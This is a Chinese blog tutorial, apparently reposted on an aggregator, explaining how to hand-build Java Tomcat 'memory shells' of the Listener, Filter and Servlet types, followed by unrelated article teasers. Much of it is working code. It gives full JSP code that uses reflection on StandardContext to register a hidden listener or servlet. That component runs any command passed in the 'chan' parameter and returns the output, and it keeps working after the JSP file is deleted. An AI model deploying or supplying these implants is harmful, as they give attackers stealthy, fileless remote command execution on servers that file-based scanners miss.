JAVA安全—手搓内存马

前言

最近在学这个内存马,就做一个记录,说实话这个内存马还是有点难度的。

什么是内存马

首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。

内存马的分类

传统的内存马主要分为三类,分别是Servlet型、Filter型、Listener型。我们主要讲的就这三种,其它的也有,但是我不会,哈哈哈。

JAVA Web访问流程

首先我们要了解一下JAVA Web的访问流程,这是我网上找的一张图,哈哈哈。正常我们认为的客户端去请求一个1.jsp文件,然后服务端就直接返回1.jsp,在PHP中也许是这样子,但是在JAVA中其实不是这样的。

1、我们去请求一个1.jsp

2、经过Listener组件,如果存在的话

3、经过Filter组件,如果存在的话

4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由

最后就是去访问1.jsp这文件。

从上面我们得知,Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理 HTTP 请求并生成动态响应。

Listener内存马

接下来手搓一个内存马,这里先创建一个项目,就叫ListenerShell。

我这里选择Java8,选个web服务,点击创建即可。

创建一个类叫Test。

在Web.xml这里配置一个Listener监听器,指向我们的Test文件。

Test里面写入以下的代码,看不懂没关系,就是当你发起请求的时候,Servlet就会被激活,那么此时我们就创建了一个Listener 并输出  requestInitialized ,当请求结束的时候也就会输出requestDestroyed。

public class Test implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent arg0) {
        System.out.println("requestInitialized");
        ServletRequestListener.super.requestInitialized(arg0);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent arg0) {
        System.out.println("requestDestroyed");
        ServletRequestListener.super.requestDestroyed(arg0);
    }
}

出现这个页面就说明我们运行成功了。

可以看到只要我们一访问运行起来的网址,就会输出上面我们所说的结果,说明我们的请求是经过Listener,最终到达Servlet。

如果我们把输出语句改为命令执行语句,不就实现了一个webshell的功能了吗?我们在原来的输出语句下面添加一个打开计算机的命令。

可以看到只要我一访问那么就会弹出计算机来。

那么实际上,Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存同时生效

为了搞清楚 listener 是咋把我们创建的类加载到内存中的,我们在下面这个地方下断点进行调试。

选择调试运行,可以看到项目一启动就已经端下来了,我都还没访问网页呢,也就是说先执行  requestInitialized 再去请求网站。

步入我们可以看到这里listener的值为Test,但是Test是怎么来的,我们继续往下分析。

继续步入可以看到 这个 applicationListener  的值为 com.sf.maven.listenershell.Test,说明这时候Listener监听器就已经知道要指向 Test了,同时可以知道 applicationListener 是来源于 CopyOnWriteArrayList。

而 CopyOnWriteArrayList 上级是来源于 context ,这里 context来源于 StandardContext 这个类里面。

这个类是比较关键的,我们可以来看一下它的功能

1、Servlet 和 Filter 管理:StandardContext 负责管理应用程序中的 Servlet 和 Filter 的生命周期。可以添加、移除和配置 Servlet 和 Filter。

2、会话管理:提供会话管理功能,包括会话的创建、销毁和持久化。配置会话超时时间和其他会话相关属性。

3、资源管理:管理应用程序的资源,如 JAR 文件、静态文件等。支持对资源的访问控制和缓存。4、事件监听器:支持注册各种事件监听器,如 ServletContextListener、ServletRequestListener 等。监听并处理应用程序的生命周期事件和请求事件。

5、安全性和认证:提供安全配置选项,包括用户认证、角色授权和安全约束。支持多种认证方式,如基本认证、表单认证等。

6、部署和配置:从 web.xml 或注解中读取和应用配置。支持热部署和自动重新加载。
7、日志记录:提供日志记录功能,方便调试和监控。

重点看第一点和第四点,StandardContext这个类可以注册Servlet、Filter以及各种Listener!!!

而且在StandardContext类里面可以看到一个 addApplicationEventListener 方法,实际上我们上面的Test监听器,就是通过这个方法添加的。

那么接下来我们来要做的就是如何获取StandardContext 这个类的context,直接从网上找的获取代码。

通过request方式获取

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
%>

通过ServletContext方式获取

<%
//创建ServletContext 为了获取访问的信息的context
ServletContext servletContext = request.getServletContext();

//反射调用ApplicationContext#context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//反射调用StandardContext#context
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
TestLIstener testLIstener = new TestLIstener();
standardContext.addApplicationEventListener(testLIstener);
%>

通过ContextClassLoader方式获取

<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

到这里估计大家也明白是如何手搓的了,就是定义一个恶意的Listener,再通过StandardContext把监听器注册到内存中去。

下面我就来演示一下,新建一个JSP文件。

这是网上找的恶意Listener,也就是内存马,写入到test1.JSP。

<%
    //定义了一个恶意的Listener
    class WLWListener implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            try{
                RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();
                Field field = requestfacade.getClass().getDeclaredField("request");
                field.setAccessible(true);
                Request lrequest = (Request) field.get(requestfacade);
                Response lresponse = lrequest.getResponse();

                if(lrequest.getParameter("chan") != null){
                    Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    lresponse.getOutputStream().flush();
                    lresponse.getOutputStream().close();
                    return;
                }
            }catch(Exception ig){
                ig.printStackTrace();
            }
        }
    }
%>

这里就是加载代码,去注册我们上面定义好的Listener,同样是去写入到test1.JSP。

<%
    //通过获取StandardContext类中的context,注册一个新的Listener
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    WLWListener wlwListener = new WLWListener();
    context.addApplicationEventListener(wlwListener);
%>

现在运行项目,访问我们的test1.jsp,可以看到是空白的,但是内存马已经植入成功。

然后执行命令calc,成功弹出计算机!!!

此时我们把内存马删除掉。

可以看到此时是访问不到我们的test1.jsp的。

但是依旧能执行命令,只需重启一下就执行不了命令了。

Filter内存马

同样新建一个项目,流程是和上面一样的,这里我就不多说了,新建一个Test类,写入以下代码。

package com.sf.maven.filtershell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class Test implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("init");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("doFilter");
    }
    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

Web.xml配置如下,运行的时候就会加载这个Test过滤器。

#Filter 过滤器实现:
-web.xml定义name和class

-web.xml定义name和url路由

-编写class下init,doFilter,destroy方法

<filter>
        <filter-name>Test</filter-name>
        <filter-class>com.sf.maven.filtershell.Test</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>Test</filter-name>
        <url-pattern>Test</url-pattern>
    </filter-mapping>

可以看到项目运行起来就输出init,说明init方法被执行了。

有人可能就注意到了,为啥 doFilter 和 destroy方法没有被执行呢,其实是这样的当我们访问 /Test这个路由,我们才会触发这个 filter-name ,而filter-name又绑定了 com.sf.maven.filtershell.Test 这个类。

浏览器访问 /Test。

触发了doFilter。

最后一个 destroy 就是当我们项目结束就会执行。

此时我们来梳理一下流程:

程序运行自动执行init

Servlet获取访问 URL,从 URL 中判断是否匹配路由,如果匹配就执行doFilter

如触发过滤分析 Filter 名称,路由,触发 Class,

则会相应的去执行 init,doFilter,destroy 方法。

结论:触发路由后执行 doFilter,不触发路由也会执行init

断点调试前我们先修改一下路由,改为 /* 意思是只要一访问网站就会触发doFilter。

doFilter这里设置断点调试,为的就是搞清楚下面两件事情:

1、filter是如何把我们创建的类加载到内存中的

2、我们如何通过java代码把我们自定义的filter类加载到内存中

我们上面在分析listener的时候,只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的,这就是filter内存马和listener内存马编写的区别。

看这里,filterMaps获取了filterName的值为Test,还有urlPattern的值为 /* ,filterDefs获取了filterClass的值,filterConfigs获取name的值。

也就是说 filterMaps 存放了filter别名和路由,filterDefs 存放了filter类指向和filter别名,filterConfigs 存放了一些配置信息。

filterMaps ,filterDefs,filterConfigs这三个的上级调用是context,context是来自StandardContext这个类。

简单总结一下:

 ApplicationFilterConfig用来存储Filter配置信息

StandardContext用来处理 Filter配置信息(有无操作)

而filter创建需要filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例

对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName 这里实际上还要传入我们创建的filter实例,这是通过setfilter传入,我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中,然后在filterconfig中有StandardContext#context和filterDef,我们也要添加最后获取filterconfigs,把filterconfig写入,大致的思路就是这样。

那么我们手搓内存马的流程就是:

1、创建filter对象

2、获取StandardContext#context

3、配置filterDef并添加

4、配置filterMap并添加

5、反射创建FilterConfig,传入standardContext与filterDef

6、获取filterConfigs,并且转换成map类型

7、把filter名和配置好的filterConfig传入filterConfings

还是一样新建一个1.jsp,写入以下代码获取所需要的字段,context、filterConfig。

这一部分的代码就是创建一个新的Filter,和上面的Test类一样的,不多讲。

这一部分代码就是配置上诉我们说的东西,名称、Class、url路由。

把Filter注册到内存。

成功弹出计算机,这里要注意执行命令的路径要加上你都路由才行。

Servlet内存马

剩下最后一个了,坚持下去。

老规矩新建一个项目,和上面一模一样,创建一个Test类,写入下面的代码。

package com.sf.maven.servletshell;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Test extends HttpServlet {
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        super.service(req,res);
        System.out.println("service");
    }
    @Override
    protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPut(req,resp);
        System.out.println("doPut");
    }
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPut(req,resp);
        System.out.println("doGet");       
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPut(req,resp);
        System.out.println("dopost");
    }
}

Web.xml文件配置如下,其实和 Filter 差不多,也都是配置路由,Class。

运行起来后我们随便访问都行,显示405状态。

但是输出了doGet,说明我们调用了doGet这个方法,这里我也不卖关子了,你用post方法去请求URL那么就会调用doPost,输出doPost,doPut方法也是如此。

Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

这里我就不一步一步跟踪了,直接说流程吧:

  1. 创建servlet

  2. 获取StandardContext#context

  3. 创建wrapper并写入servlet信息

  4. 添加wrapper并添加路由信息

创建一个1.jsp,和上面的Test差不多,只是这里service不是输出了,而是创建一个新的Servlet。

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
            HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
            if (lrequest.getParameter("chan") != null){
                Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
                lresponse.getOutputStream().flush();
                lresponse.getOutputStream().close();
                return;
            }
            else{
                lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);
            }
        }

这部分和Filter的差不多,都是为了获取StandardContext#context。

这里就是创建wrapper并写入servlet信息,添加wrapper并添加路由信息。

先访问1.jsp注册新的Servlet,在到相对应的路由下面执行命令即可。

总结

至此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/981749.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

HarmonyOS学习第11天:布局秘籍RelativeLayout进阶之路

布局基础&#xff1a;RelativeLayout 初印象 在 HarmonyOS 的界面开发中&#xff0c;布局是构建用户界面的关键环节&#xff0c;它决定了各个组件在屏幕上的位置和排列方式。而 RelativeLayout&#xff08;相对布局&#xff09;则是其中一种功能强大且灵活的布局方式&#xff0…

【Bootstrap5】Bootstrap5学习笔记

目的 学完Blazor以后&#xff0c;我自己用这个写了一个小工具&#xff0c;但是我发现自己对前端粗浅的认知确实很难把UI层的组件弄出我想要的样子&#xff0c;所以我思来想去决定再把前端知识补一补.记录基于菜鸟教程的Bootstrap5教程&#xff0c;然后有些不清楚的我还补充一些…

【JMeter】JMeter之MQTT压测

文章目录 MQTT概念Jmeter压测MQTTMQTT服务器下载Jmeter MQTT插件测试MQTT测试思路和解决方法 MQTT概念 MQTT是什么 MQTT是用于物联网&#xff08;IoT&#xff09;的OASIS标准消息传递协议。它被设计为一种非常轻量级的发布/订阅消息传输&#xff0c;非常适合使用较少的代码占用…

Android U 分屏——SystemUI侧处理

WMShell相关的dump命令 手机分屏启动应用后运行命令&#xff1a;adb shell dumpsys activity service SystemUIService WMShell 我们可以找到其中分屏的部分&#xff0c;如下图所示&#xff1a; 分屏的组成 简图 分屏是由上分屏(SideStage)、下分屏(MainStage)以及分割线组…

一键安装Nginx部署脚本之Linux在线安装Nginx,脚本化自动化执行服务器部署(附执行脚本下载)

相关链接 一键安装Nginx部署脚本之Linux在线安装Nginx一键安装Redis部署脚本之Linux在线安装Redis一键安装Mysql部署脚本之Linux在线安装Mysql一键安装JAVA部署脚本之Linux在线安装JDKXshell客户端免费版无需注册XFtp客户端免费版无需注册 前言 简化服务器部署操作&#xff0…

yum源选要配置华为云的源,阿里云用不了的情况

curl -O /etc/yum.repos.d/CentOS-Base.repo https://repo.huaweicloud.com/repository/conf/CentOS-7-reg.repo

软考中级-数据库-3.2 数据结构-数组和矩阵

数组 一维数组是长度固定的线性表&#xff0c;数组中的每个数据元素类型相同。n维数组是定长线性表在维数上的扩张&#xff0c;即线性表中的元素又是一个线性表。 例如一维数组a[5][a1,a2,a3,a4,a5] 二维数组a[2][3]是一个2行2列的数组 第一行[a11,a12,a13] 第二行[a21,a22,a23…

微服务组件详解——sentinel

1.启动sentinel&#xff1a; 下载jar sentinel-dashboard-1.8.0.jar 使用以下命令直接运行 jar 包&#xff08;JDK 版本必须≥ 1.8&#xff09;&#xff1a; java -Dserver.port9999 -jar D:\sentinel-dashboard-1.8.0.jar 控制台访问地址&#xff1a;http://localhost:9999…

网络安全清单

&#x1f345; 点击文末小卡片 &#xff0c;免费获取网络安全全套资料&#xff0c;资料在手&#xff0c;涨薪更快 自主访问控(DAC:Discretionary Access Control) 自主访问控制(DAC)是一个访问控制服务&#xff0c;其执行一个基于系统实体身份的安全政策和它们的授权来访问系统…

unity学习62,尝试做第一个小游戏项目:flappy bird

目录 学习参考 1 创建1个unity 2D项目 1.1 2D项目模板选择 1.1.1 2D(built-in-Render pipeline) 1.1.2 universe 2D 1.1.3 这次选择 2D(built-in-Render pipeline) 1.2 创建项目 1.2.1 注意点 1.2.2 如果想修改项目名 2 导入美术资源包 2.1 下载一个flappy bird的…

tauri2+typescript+vue+vite+leaflet等的简单联合使用(一)

项目目标 主要的目的是学习tauri。 流程 1、搭建项目 2、简单的在项目使用leaflet 3、打包 准备项目 环境准备 废话不多说&#xff0c;直接开始 需要有准备能运行Rust的环境和Node&#xff0c;对于Rust可以参考下面这位大佬的文章&#xff0c;Node不必细说。 Rust 和…

【FastGPT】如何新增用户修改密码

【FastGPT】如何新增用户&修改密码 摘要查看运行中的容器进入mongo容器登录mongo数据库切换数据库查询用户集合数据新增用户查询团队表数据创建团队查询团队成员集合数据把用户加入团队FastGPT用户密码的加密规则介绍加密算法Java版参考代码&单元测试代码修改密码 摘要…

复试准备日常

实验室目前投了 aiot 这周四 感知计算面试3.5号下午2点开始&#xff08;面完了他问我有没有项目&#xff09; 532图像处理实验室&#xff08;我的项目大多也是图像处理的&#xff09;&#xff08;预计下周末&#xff09;提前到3.4号下午6点 我不在第一批里面 软专不知道要几个 …

HiRT:利用分层机器人Transformer 增强机器人控制

25年2月来自清华、伯克利分校和上海姚期智研究院的论文“HiRT: Enhancing Robotic Control with Hierarchical Robot Transformers”。 大型视觉-语言-动作 (VLA) 模型利用强大的预训练视觉-语言模型 (VLM) 后端&#xff0c;由于其深刻的泛化能力而在机器人控制方面显示出良好…

Netty笔记3:NIO编程

Netty笔记1&#xff1a;线程模型 Netty笔记2&#xff1a;零拷贝 Netty笔记3&#xff1a;NIO编程 Netty笔记4&#xff1a;Epoll Netty笔记5&#xff1a;Netty开发实例 Netty笔记6&#xff1a;Netty组件 Netty笔记7&#xff1a;ChannelPromise通知处理 Netty笔记8&#xf…

MySQL-高级查询

查询处理 排序&#xff08;默认不是按主键排序的&#xff09; order by 字段1[&#xff0c;字段2] [asc|desc] 默认是升序排序也可以指定 select 列表中列的序号进行排序如果是多个字段&#xff0c;那么在上一个字段排序完的基础上排序下一个 限制数量 limit 行数&#xff0…

解决各大浏览器中http地址无权限调用麦克风摄像头问题(包括谷歌,Edge,360,火狐)后续会陆续补充

项目场景&#xff1a; 在各大浏览器中http地址调用电脑麦克风摄像头会没有权限&#xff0c;http协议无法使用多媒体设备 原因分析&#xff1a; 为了用户的隐私安全&#xff0c;http协议无法使用多媒体设备。因为像摄像头和麦克风属于可能涉及重大隐私问题的API&#xff0c;ge…

权限系统设计方案实践(Spring Security + RBAC 模型)

前言 权限系统设计基本上是所有项目中都会涉及的一个重要部分。通过权限系统&#xff0c;我们将对用户角色、功能模块访问进行限制&#xff0c;从而保证系统安全性。本文将介绍中大型项目中常用的一套权限系统设计方案&#xff0c;通过 SpringSecurity 安全管理框架&#xff0c…

数学软件Matlab下载|支持Win+Mac网盘资源分享

如大家所了解的&#xff0c;Matlab与Maple、Mathematica并称为三大数学软件。Matlab应用广泛&#xff0c;常被用于数据分析、无线通信、深度学习、图像处理与计算机视觉、信号处理、量化金融与风险管理、机器人&#xff0c;控制系统等领域。 Matlab将数值分析、矩阵计算、科学…

植物大战僵尸杂交版v3.3最新版本(附下载链接)

B站游戏作者潜艇伟伟迷于12月21日更新了植物大战僵尸杂交版3.3版本&#xff01;&#xff01;&#xff01;&#xff0c;有b站账户的记得要给作者三连关注一下呀&#xff01; 不多废话下载链接放上&#xff1a; 夸克网盘链接&#xff1a;&#xff1a;https://pan.quark.cn/s/6f2a…